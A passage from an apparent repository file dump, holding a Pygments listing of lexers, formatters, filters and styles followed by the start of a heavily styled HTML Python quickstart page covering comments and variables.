xml+genshi, xml+kid:\n    Genshi (filenames *.kid)\n* genshitext:\n    Genshi Text \n* glsl:\n    GLSL (filenames *.vert, *.frag, *.geo)\n* gnuplot:\n    Gnuplot (filenames *.plot, *.plt)\n* go:\n    Go (filenames *.go)\n* golo:\n    Golo (filenames *.golo)\n* gooddata-cl:\n    GoodData-CL (filenames *.gdc)\n* gosu:\n    Gosu (filenames *.gs, *.gsx, *.gsp, *.vark)\n* groff, nroff, man:\n    Groff (filenames *.[1234567], *.man)\n* groovy:\n    Groovy (filenames *.groovy, *.gradle)\n* gst:\n    Gosu Template (filenames *.gst)\n* haml:\n    Haml (filenames *.haml)\n* handlebars:\n    Handlebars \n* haskell, hs:\n    Haskell (filenames *.hs)\n* haxeml, hxml:\n    Hxml (filenames *.hxml)\n* hexdump:\n    Hexdump \n* hsail, hsa:\n    HSAIL (filenames *.hsail)\n* html+cheetah, html+spitfire, htmlcheetah:\n    HTML+Cheetah \n* html+django, html+jinja, htmldjango:\n    HTML+Django/Jinja \n* html+evoque:\n    HTML+Evoque (filenames *.html)\n* html+genshi, html+kid:\n    HTML+Genshi \n* html+handlebars:\n    HTML+Handlebars (filenames *.handlebars, *.hbs)\n* html+lasso:\n    HTML+Lasso \n* html+mako:\n    HTML+Mako \n* html+mako:\n    HTML+Mako \n* html+myghty:\n    HTML+Myghty \n* html+ng2:\n    HTML + Angular2 (filenames *.ng2)\n* html+php:\n    HTML+PHP (filenames *.phtml)\n* html+smarty:\n    HTML+Smarty \n* html+twig:\n    HTML+Twig (filenames *.twig)\n* html+velocity:\n    HTML+Velocity \n* html:\n    HTML (filenames *.html, *.htm, *.xhtml, *.xslt)\n* http:\n    HTTP \n* hx, haxe, hxsl:\n    Haxe (filenames *.hx, *.hxsl)\n* hybris, hy:\n    Hybris (filenames *.hy, *.hyb)\n* hylang:\n    Hy (filenames *.hy)\n* i6t:\n    Inform 6 template (filenames *.i6t)\n* idl:\n    IDL (filenames *.pro)\n* idris, idr:\n    Idris (filenames *.idr)\n* iex:\n    Elixir iex session \n* igor, igorpro:\n    Igor (filenames *.ipf)\n* inform6, i6:\n    Inform 6 (filenames *.inf)\n* inform7, i7:\n    Inform 7 (filenames *.ni, *.i7x)\n* ini, cfg, dosini:\n    INI (filenames *.ini, *.cfg, *.inf)\n* io:\n    Io (filenames *.io)\n* ioke, ik:\n    Ioke (filenames *.ik)\n* irc:\n    IRC logs (filenames *.weechatlog)\n* isabelle:\n    Isabelle (filenames *.thy)\n* j:\n    J (filenames *.ijs)\n* jags:\n    JAGS (filenames *.jag, *.bug)\n* jasmin, jasminxt:\n    Jasmin (filenames *.j)\n* java:\n    Java (filenames *.java)\n* javascript+mozpreproc:\n    Javascript+mozpreproc (filenames *.js.in)\n* jcl:\n    JCL (filenames *.jcl)\n* jlcon:\n    Julia console \n* js+cheetah, javascript+cheetah, js+spitfire, javascript+spitfire:\n    JavaScript+Cheetah \n* js+django, javascript+django, js+jinja, javascript+jinja:\n    JavaScript+Django/Jinja \n* js+erb, javascript+erb, js+ruby, javascript+ruby:\n    JavaScript+Ruby \n* js+genshitext, js+genshi, javascript+genshitext, javascript+genshi:\n    JavaScript+Genshi Text \n* js+lasso, javascript+lasso:\n    JavaScript+Lasso \n* js+mako, javascript+mako:\n    JavaScript+Mako \n* js+mako, javascript+mako:\n    JavaScript+Mako \n* js+myghty, javascript+myghty:\n    JavaScript+Myghty \n* js+php, javascript+php:\n    JavaScript+PHP \n* js+smarty, javascript+smarty:\n    JavaScript+Smarty \n* js, javascript:\n    JavaScript (filenames *.js, *.jsm)\n* jsgf:\n    JSGF (filenames *.jsgf)\n* json-object:\n    JSONBareObject \n* json:\n    JSON (filenames *.json)\n* jsonld, json-ld:\n    JSON-LD (filenames *.jsonld)\n* jsp:\n    Java Server Page (filenames *.jsp)\n* julia, jl:\n    Julia (filenames *.jl)\n* juttle, juttle:\n    Juttle (filenames *.juttle)\n* kal:\n    Kal (filenames *.kal)\n* kconfig, menuconfig, linux-config, kernel-config:\n    Kconfig (filenames Kconfig, *Config.in*, external.in*, standard-modules.in)\n* koka:\n    Koka (filenames *.kk, *.kki)\n* kotlin:\n    Kotlin (filenames *.kt)\n* lagda, literate-agda:\n    Literate Agda (filenames *.lagda)\n* lasso, lassoscript:\n    Lasso (filenames *.lasso, *.lasso[89])\n* lcry, literate-cryptol, lcryptol:\n    Literate Cryptol (filenames *.lcry)\n* lean:\n    Lean (filenames *.lean)\n* less:\n    LessCss (filenames *.less)\n* lhs, literate-haskell, lhaskell:\n    Literate Haskell (filenames *.lhs)\n* lidr, literate-idris, lidris:\n    Literate Idris (filenames *.lidr)\n* lighty, lighttpd:\n    Lighttpd configuration file \n* limbo:\n    Limbo (filenames *.b)\n* liquid:\n    liquid (filenames *.liquid)\n* live-script, livescript:\n    LiveScript (filenames *.ls)\n* llvm:\n    LLVM (filenames *.ll)\n* logos:\n    Logos (filenames *.x, *.xi, *.xm, *.xmi)\n* logtalk:\n    Logtalk (filenames *.lgt, *.logtalk)\n* lsl:\n    LSL (filenames *.lsl)\n* lua:\n    Lua (filenames *.lua, *.wlua)\n* make, makefile, mf, bsdmake:\n    Makefile (filenames *.mak, *.mk, Makefile, makefile, Makefile.*, GNUmakefile)\n* mako:\n    Mako (filenames *.mao)\n* mako:\n    Mako (filenames *.mao)\n* maql:\n    MAQL (filenames *.maql)\n* mask:\n    Mask (filenames *.mask)\n* mason:\n    Mason (filenames *.m, *.mhtml, *.mc, *.mi, autohandler, dhandler)\n* mathematica, mma, nb:\n    Mathematica (filenames *.nb, *.cdf, *.nbp, *.ma)\n* matlab:\n    Matlab (filenames *.m)\n* matlabsession:\n    Matlab session \n* md:\n    markdown (filenames *.md)\n* minid:\n    MiniD \n* modelica:\n    Modelica (filenames *.mo)\n* modula2, m2:\n    Modula-2 (filenames *.def, *.mod)\n* monkey:\n    Monkey (filenames *.monkey)\n* monte:\n    Monte (filenames *.mt)\n* moocode, moo:\n    MOOCode (filenames *.moo)\n* moon, moonscript:\n    MoonScript (filenames *.moon)\n* mozhashpreproc:\n    mozhashpreproc \n* mozpercentpreproc:\n    mozpercentpreproc \n* mql, mq4, mq5, mql4, mql5:\n    MQL (filenames *.mq4, *.mq5, *.mqh)\n* mscgen, msc:\n    Mscgen (filenames *.msc)\n* mupad:\n    MuPAD (filenames *.mu)\n* mxml:\n    MXML (filenames *.mxml)\n* myghty:\n    Myghty (filenames *.myt, autodelegate)\n* mysql:\n    MySQL \n* nasm:\n    NASM (filenames *.asm, *.ASM)\n* ncl:\n    NCL (filenames *.ncl)\n* nemerle:\n    Nemerle (filenames *.n)\n* nesc:\n    nesC (filenames *.nc)\n* newlisp:\n    NewLisp (filenames *.lsp, *.nl, *.kif)\n* newspeak:\n    Newspeak (filenames *.ns2)\n* ng2:\n    Angular2 \n* nginx:\n    Nginx configuration file (filenames nginx.conf)\n* nim, nimrod:\n    Nimrod (filenames *.nim, *.nimrod)\n* nit:\n    Nit (filenames *.nit)\n* nixos, nix:\n    Nix (filenames *.nix)\n* nsis, nsi, nsh:\n    NSIS (filenames *.nsi, *.nsh)\n* numpy:\n    NumPy \n* nusmv:\n    NuSMV (filenames *.smv)\n* objdump-nasm:\n    objdump-nasm (filenames *.objdump-intel)\n* objdump:\n    objdump (filenames *.objdump)\n* objective-c++, objectivec++, obj-c++, objc++:\n    Objective-C++ (filenames *.mm, *.hh)\n* objective-c, objectivec, obj-c, objc:\n    Objective-C (filenames *.m, *.h)\n* objective-j, objectivej, obj-j, objj:\n    Objective-J (filenames *.j)\n* ocaml:\n    OCaml (filenames *.ml, *.mli, *.mll, *.mly)\n* octave:\n    Octave (filenames *.m)\n* odin:\n    ODIN (filenames *.odin)\n* ooc:\n    Ooc (filenames *.ooc)\n* opa:\n    Opa (filenames *.opa)\n* openedge, abl, progress:\n    OpenEdge ABL (filenames *.p, *.cls)\n* pacmanconf:\n    PacmanConf (filenames pacman.conf)\n* pan:\n    Pan (filenames *.pan)\n* parasail:\n    ParaSail (filenames *.psi, *.psl)\n* pawn:\n    Pawn (filenames *.p, *.pwn, *.inc)\n* perl, pl:\n    Perl (filenames *.pl, *.pm, *.t)\n* perl6, pl6:\n    Perl6 (filenames *.pl, *.pm, *.nqp, *.p6, *.6pl, *.p6l, *.pl6, *.6pm, *.p6m, *.pm6, *.t)\n* php, php3, php4, php5:\n    PHP (filenames *.php, *.php[345], *.inc)\n* pig:\n    Pig (filenames *.pig)\n* pike:\n    Pike (filenames *.pike, *.pmod)\n* pkgconfig:\n    PkgConfig (filenames *.pc)\n* plpgsql:\n    PL/pgSQL \n* postgresql, postgres:\n    PostgreSQL SQL dialect \n* postscript, postscr:\n    PostScript (filenames *.ps, *.eps)\n* pot, po:\n    Gettext Catalog (filenames *.pot, *.po)\n* pov:\n    POVRay (filenames *.pov, *.inc)\n* powershell, posh, ps1, psm1:\n    PowerShell (filenames *.ps1, *.psm1)\n* praat:\n    Praat (filenames *.praat, *.proc, *.psc)\n* prolog:\n    Prolog (filenames *.ecl, *.prolog, *.pro, *.pl)\n* properties, jproperties:\n    Properties (filenames *.properties)\n* protobuf, proto:\n    Protocol Buffer (filenames *.proto)\n* ps1con:\n    PowerShell Session \n* psql, postgresql-console, postgres-console:\n    PostgreSQL console (psql) \n* pug, jade:\n    Pug (filenames *.pug, *.jade)\n* puppet:\n    Puppet (filenames *.pp)\n* py3tb:\n    Python 3.0 Traceback (filenames *.py3tb)\n* pycon:\n    Python console session \n* pypylog, pypy:\n    PyPy Log (filenames *.pypylog)\n* pytb:\n    Python Traceback (filenames *.pytb)\n* python, py, sage:\n    Python (filenames *.py, *.pyw, *.sc, SConstruct, SConscript, *.tac, *.sage)\n* python3, py3:\n    Python 3 \n* qbasic, basic:\n    QBasic (filenames *.BAS, *.bas)\n* qml, qbs:\n    QML (filenames *.qml, *.qbs)\n* qvto, qvt:\n    QVTO (filenames *.qvto)\n* racket, rkt:\n    Racket (filenames *.rkt, *.rktd, *.rktl)\n* ragel-c:\n    Ragel in C Host (filenames *.rl)\n* ragel-cpp:\n    Ragel in CPP Host (filenames *.rl)\n* ragel-d:\n    Ragel in D Host (filenames *.rl)\n* ragel-em:\n    Embedded Ragel (filenames *.rl)\n* ragel-java:\n    Ragel in Java Host (filenames *.rl)\n* ragel-objc:\n    Ragel in Objective C Host (filenames *.rl)\n* ragel-ruby, ragel-rb:\n    Ragel in Ruby Host (filenames *.rl)\n* ragel:\n    Ragel \n* raw:\n    Raw token data \n* rb, ruby, duby:\n    Ruby (filenames *.rb, *.rbw, Rakefile, *.rake, *.gemspec, *.rbx, *.duby, Gemfile)\n* rbcon, irb:\n    Ruby irb session \n* rconsole, rout:\n    RConsole (filenames *.Rout)\n* rd:\n    Rd (filenames *.Rd)\n* rebol:\n    REBOL (filenames *.r, *.r3, *.reb)\n* red, red/system:\n    Red (filenames *.red, *.reds)\n* redcode:\n    Redcode (filenames *.cw)\n* registry:\n    reg (filenames *.reg)\n* resource, resourcebundle:\n    ResourceBundle (filenames *.txt)\n* rexx, arexx:\n    Rexx (filenames *.rexx, *.rex, *.rx, *.arexx)\n* rhtml, html+erb, html+ruby:\n    RHTML (filenames *.rhtml)\n* rnc, rng-compact:\n    Relax-NG Compact (filenames *.rnc)\n* roboconf-graph:\n    Roboconf Graph (filenames *.graph)\n* roboconf-instances:\n    Roboconf Instances (filenames *.instances)\n* robotframework:\n    RobotFramework (filenames *.txt, *.robot)\n* rql:\n    RQL (filenames *.rql)\n* rsl:\n    RSL (filenames *.rsl)\n* rst, rest, restructuredtext:\n    reStructuredText (filenames *.rst, *.rest)\n* rts, trafficscript:\n    TrafficScript (filenames *.rts)\n* rust:\n    Rust (filenames *.rs, *.rs.in)\n* sas:\n    SAS (filenames *.SAS, *.sas)\n* sass:\n    Sass (filenames *.sass)\n* sc, supercollider:\n    SuperCollider (filenames *.sc, *.scd)\n* scala:\n    Scala (filenames *.scala)\n* scaml:\n    Scaml (filenames *.scaml)\n* scheme, scm:\n    Scheme (filenames *.scm, *.ss)\n* scilab:\n    Scilab (filenames *.sci, *.sce, *.tst)\n* scss:\n    SCSS (filenames *.scss)\n* shen:\n    Shen (filenames *.shen)\n* silver:\n    Silver (filenames *.sil, *.vpr)\n* slim:\n    Slim (filenames *.slim)\n* smali:\n    Smali (filenames *.smali)\n* smalltalk, squeak, st:\n    Smalltalk (filenames *.st)\n* smarty:\n    Smarty (filenames *.tpl)\n* sml:\n    Standard ML (filenames *.sml, *.sig, *.fun)\n* snobol:\n    Snobol (filenames *.snobol)\n* snowball:\n    Snowball (filenames *.sbl)\n* sourceslist, sources.list, debsources:\n    Debian Sourcelist (filenames sources.list)\n* sp:\n    SourcePawn (filenames *.sp)\n* sparql:\n    SPARQL (filenames *.rq, *.sparql)\n* spec:\n    RPMSpec (filenames *.spec)\n* splus, s, r:\n    S (filenames *.S, *.R, .Rhistory, .Rprofile, .Renviron)\n* sql:\n    SQL (filenames *.sql)\n* sqlite3:\n    sqlite3con (filenames *.sqlite3-console)\n* squidconf, squid.conf, squid:\n    SquidConf (filenames squid.conf)\n* ssp:\n    Scalate Server Page (filenames *.ssp)\n* stan:\n    Stan (filenames *.stan)\n* stata, do:\n    Stata (filenames *.do, *.ado)\n* swift:\n    Swift (filenames *.swift)\n* swig:\n    SWIG (filenames *.swg, *.i)\n* systemverilog, sv:\n    systemverilog (filenames *.sv, *.svh)\n* tads3:\n    TADS 3 (filenames *.t)\n* tap:\n    TAP (filenames *.tap)\n* tasm:\n    TASM (filenames *.asm, *.ASM, *.tasm)\n* tcl:\n    Tcl (filenames *.tcl, *.rvt)\n* tcsh, csh:\n    Tcsh (filenames *.tcsh, *.csh)\n* tcshcon:\n    Tcsh Session \n* tea:\n    Tea (filenames *.tea)\n* termcap:\n    Termcap (filenames termcap, termcap.src)\n* terminfo:\n    Terminfo (filenames terminfo, terminfo.src)\n* terraform, tf:\n    Terraform (filenames *.tf)\n* tex, latex:\n    TeX (filenames *.tex, *.aux, *.toc)\n* text:\n    Text only (filenames *.txt)\n* thrift:\n    Thrift (filenames *.thrift)\n* todotxt:\n    Todotxt (filenames todo.txt, *.todotxt)\n* trac-wiki, moin:\n    MoinMoin/Trac Wiki markup \n* treetop:\n    Treetop (filenames *.treetop, *.tt)\n* ts, typescript:\n    TypeScript (filenames *.ts)\n* tsql, t-sql:\n    Transact-SQL (filenames *.sql)\n* turtle:\n    Turtle (filenames *.ttl)\n* twig:\n    Twig \n* typoscript:\n    TypoScript (filenames *.ts, *.txt)\n* typoscriptcssdata:\n    TypoScriptCssData \n* typoscripthtmldata:\n    TypoScriptHtmlData \n* urbiscript:\n    UrbiScript (filenames *.u)\n* vala, vapi:\n    Vala (filenames *.vala, *.vapi)\n* vb.net, vbnet:\n    VB.net (filenames *.vb, *.bas)\n* vcl:\n    VCL (filenames *.vcl)\n* vclsnippets, vclsnippet:\n    VCLSnippets \n* vctreestatus:\n    VCTreeStatus \n* velocity:\n    Velocity (filenames *.vm, *.fhtml)\n* verilog, v:\n    verilog (filenames *.v)\n* vgl:\n    VGL (filenames *.rpf)\n* vhdl:\n    vhdl (filenames *.vhdl, *.vhd)\n* vim:\n    VimL (filenames *.vim, .vimrc, .exrc, .gvimrc, _vimrc, _exrc, _gvimrc, vimrc, gvimrc)\n* wdiff:\n    WDiff (filenames *.wdiff)\n* whiley:\n    Whiley (filenames *.whiley)\n* x10, xten:\n    X10 (filenames *.x10)\n* xml+cheetah, xml+spitfire:\n    XML+Cheetah \n* xml+django, xml+jinja:\n    XML+Django/Jinja \n* xml+erb, xml+ruby:\n    XML+Ruby \n* xml+evoque:\n    XML+Evoque (filenames *.xml)\n* xml+lasso:\n    XML+Lasso \n* xml+mako:\n    XML+Mako \n* xml+mako:\n    XML+Mako \n* xml+myghty:\n    XML+Myghty \n* xml+php:\n    XML+PHP \n* xml+smarty:\n    XML+Smarty \n* xml+velocity:\n    XML+Velocity \n* xml:\n    XML (filenames *.xml, *.xsl, *.rss, *.xslt, *.xsd, *.wsdl, *.wsf)\n* xquery, xqy, xq, xql, xqm:\n    XQuery (filenames *.xqy, *.xquery, *.xq, *.xql, *.xqm)\n* xslt:\n    XSLT (filenames *.xsl, *.xslt, *.xpl)\n* xtend:\n    Xtend (filenames *.xtend)\n* xul+mozpreproc:\n    XUL+mozpreproc (filenames *.xul.in)\n* yaml+jinja, salt, sls:\n    YAML+Jinja (filenames *.sls)\n* yaml:\n    YAML (filenames *.yaml, *.yml)\n* zephir:\n    Zephir (filenames *.zep)\n\nFormatters:\n~~~~~~~~~~~\n* bbcode, bb:\n    Format tokens with BBcodes. These formatting codes are used by many bulletin boards, so you can highlight your sourcecode with pygments before posting it there. \n* bmp, bitmap:\n    Create a bitmap image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.bmp)\n* gif:\n    Create a GIF image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.gif)\n* html:\n    Format tokens as HTML 4 ``<span>`` tags within a ``<pre>`` tag, wrapped in a ``<div>`` tag. The ``<div>``'s CSS class can be set by the `cssclass` option. (filenames *.html, *.htm)\n* img, IMG, png:\n    Create a PNG image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.png)\n* irc, IRC:\n    Format tokens with IRC color sequences \n* jpg, jpeg:\n    Create a JPEG image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.jpg)\n* latex, tex:\n    Format tokens as LaTeX code. This needs the `fancyvrb` and `color` standard packages. (filenames *.tex)\n* raw, tokens:\n    Format tokens as a raw representation for storing token streams. (filenames *.raw)\n* rtf:\n    Format tokens as RTF markup. This formatter automatically outputs full RTF documents with color information and other useful stuff. Perfect for Copy and Paste into Microsoft(R) Word(R) documents. (filenames *.rtf)\n* svg:\n    Format tokens as an SVG graphics file.  This formatter is still experimental. Each line of code is a ``<text>`` element with explicit ``x`` and ``y`` coordinates containing ``<tspan>`` elements with the individual token styles. (filenames *.svg)\n* terminal, console:\n    Format tokens with ANSI color sequences, for output in a text console. Color sequences are terminated at newlines, so that paging the output works correctly. \n* terminal16m, console16m, 16m:\n    Format tokens with ANSI color sequences, for output in a true-color terminal or console.  Like in `TerminalFormatter` color sequences are terminated at newlines, so that paging the output works correctly. \n* terminal256, console256, 256:\n    Format tokens with ANSI color sequences, for output in a 256-color terminal or console.  Like in `TerminalFormatter` color sequences are terminated at newlines, so that paging the output works correctly. \n* testcase:\n    Format tokens as appropriate for a new testcase. \n* text, null:\n    Output the text unchanged without any formatting. (filenames *.txt)\n\nFilters:\n~~~~~~~~\n* raiseonerror:\n    Raise an exception when the lexer generates an error token.\n* whitespace:\n    Convert tabs, newlines and/or spaces to visible characters.\n* tokenmerge:\n    Merges consecutive tokens with the same token type in the output stream of a lexer.\n* highlight:\n    Highlight a normal Name (and Name.*) token with a different token type.\n* gobble:\n    Gobbles source code lines (eats initial characters).\n* codetagify:\n    Highlight special code tags in comments and docstrings.\n* keywordcase:\n    Convert keywords to lowercase or uppercase or capitalize them, which means first letter uppercase, rest lowercase.\n\nStyles:\n~~~~~~~\n* manni:\n    A colorful style, inspired by the terminal highlighting style.\n* igor:\n    Pygments version of the official colors for Igor Pro procedures.\n* lovelace:\n    The style used in Lovelace interactive learning environment. Tries to avoid the \"angry fruit salad\" effect with desaturated and dim colours.\n* xcode:\n    Style similar to the Xcode default colouring theme.\n* vim:\n    Styles somewhat like vim 7.0\n* autumn:\n    A colorful style, inspired by the terminal highlighting style.\n* abap:\n    \n* vs:\n    \n* rrt:\n    Minimalistic \"rrt\" theme, based on Zap and Emacs defaults.\n* native:\n    Pygments version of the \"native\" vim theme.\n* perldoc:\n    Style similar to the style used in the perldoc code blocks.\n* borland:\n    Style similar to the style used in the borland IDEs.\n* arduino:\n    The Arduino® language style. This style is designed to highlight the Arduino source code, so exepect the best results with it.\n* tango:\n    The Crunchy default Style inspired from the color palette from the Tango Icon Theme Guidelines.\n* emacs:\n    The default style (inspired by Emacs 22).\n* friendly:\n    A modern style based on the VIM pyte theme.\n* monokai:\n    This style mimics the Monokai color scheme.\n* paraiso-dark:\n    \n* colorful:\n    A colorful style, inspired by CodeRay.\n* murphy:\n    Murphy's style from CodeRay.\n* bw:\n    \n* pastie:\n    Style similar to the pastie default style.\n* rainbow_dash:\n    A bright and colorful syntax highlighting theme.\n* algol_nu:\n    \n* paraiso-light:\n    \n* trac:\n    Port of the default trac highlighter design.\n* default:\n    The default style (inspired by Emacs 22).\n* algol:\n    \n* fruity:\n    Pygments version of the \"native\" vim theme.\n"
  },
  {
    "path": "doc/python/quickstart.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n  <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\" />\r\n  <title>Python_QuickStart</title>\r\n</head>\r\n<body id=\"note-frame-body\">\r\n  <div class=\"note-content\"><div class=\"ennote\"><div style=\"-evernote-webclip:true\"><br/><div style=\"font-size: 16px; display: inline-block;\"><div style=\"font-stretch:inherit;font-family:'Open Sans', sans-serif;font-size:14px;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);font-style:inherit;font-variant:inherit;font-weight:inherit;box-sizing:border-box;line-height:inherit;vertical-align:baseline;color:rgb(82, 92, 101);-webkit-font-smoothing:antialiased;background:rgb(250, 251, 252);background-color:rgb(204, 232, 207);\"><div style=\"font-variant:inherit;box-sizing:border-box;font-weight:inherit;font-size:14px;color:rgb(82, 92, 101);font-style:inherit;font-family:'Open Sans', sans-serif;line-height:1;font-stretch:inherit;vertical-align:baseline;-webkit-font-smoothing:antialiased;background:rgb(250, 251, 252);background-color:rgb(204, 232, 207);\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;transition:opacity 0.2s linear;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;overflow-x:hidden;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"font-size:inherit;box-sizing:border-box;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-style:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;transition:all 0.3s ease;overflow-x:hidden;\"><div style=\"font-size:inherit;box-sizing:border-box;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-style:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;flex-direction:column;background:rgb(28, 38, 47);\"><div style=\"line-height:28px;box-sizing:border-box;font-family:inherit;font-variant:inherit;font-stretch:inherit;vertical-align:baseline;font-style:inherit;font-weight:inherit;font-size:15px;flex:1 0 auto;color:rgb(79, 79, 79);overflow:hidden;background:white;\"><div style=\"line-height:inherit;box-sizing:border-box;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;font-style:inherit;font-family:inherit;vertical-align:baseline;flex-direction:column;align-items:center;background:rgb(250, 251, 252);\"><div style=\"font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;box-sizing:border-box;flex:1 0 auto;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;font-family:inherit;vertical-align:baseline;line-height:1.7;\"><h1>Python QuickStart</h1>\r\n<h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Comments</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;vertical-align:baseline;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;font-style:italic;color:rgb(153, 153, 136);\"># This is a one-line Python comment - code blocks are so useful!</span>\r\n<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;&quot;&quot;This type of comment is used to document the purpose of functions and classes.&quot;&quot;&quot;</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Declaration/Initialization</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;vertical-align:baseline;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;font-style:italic;color:rgb(153, 153, 136);\"># Remember values, not variables, have data types.</span>\r\n<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;vertical-align:baseline;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;font-style:italic;color:rgb(153, 153, 136);\"># A variable can be reassigned to contain a different data type.</span>\r\n<span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">answer</span> = 42\r\n<span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">answer</span> = &quot;The answer is 42.&quot;\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Data Types</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">boolean</span> = <span 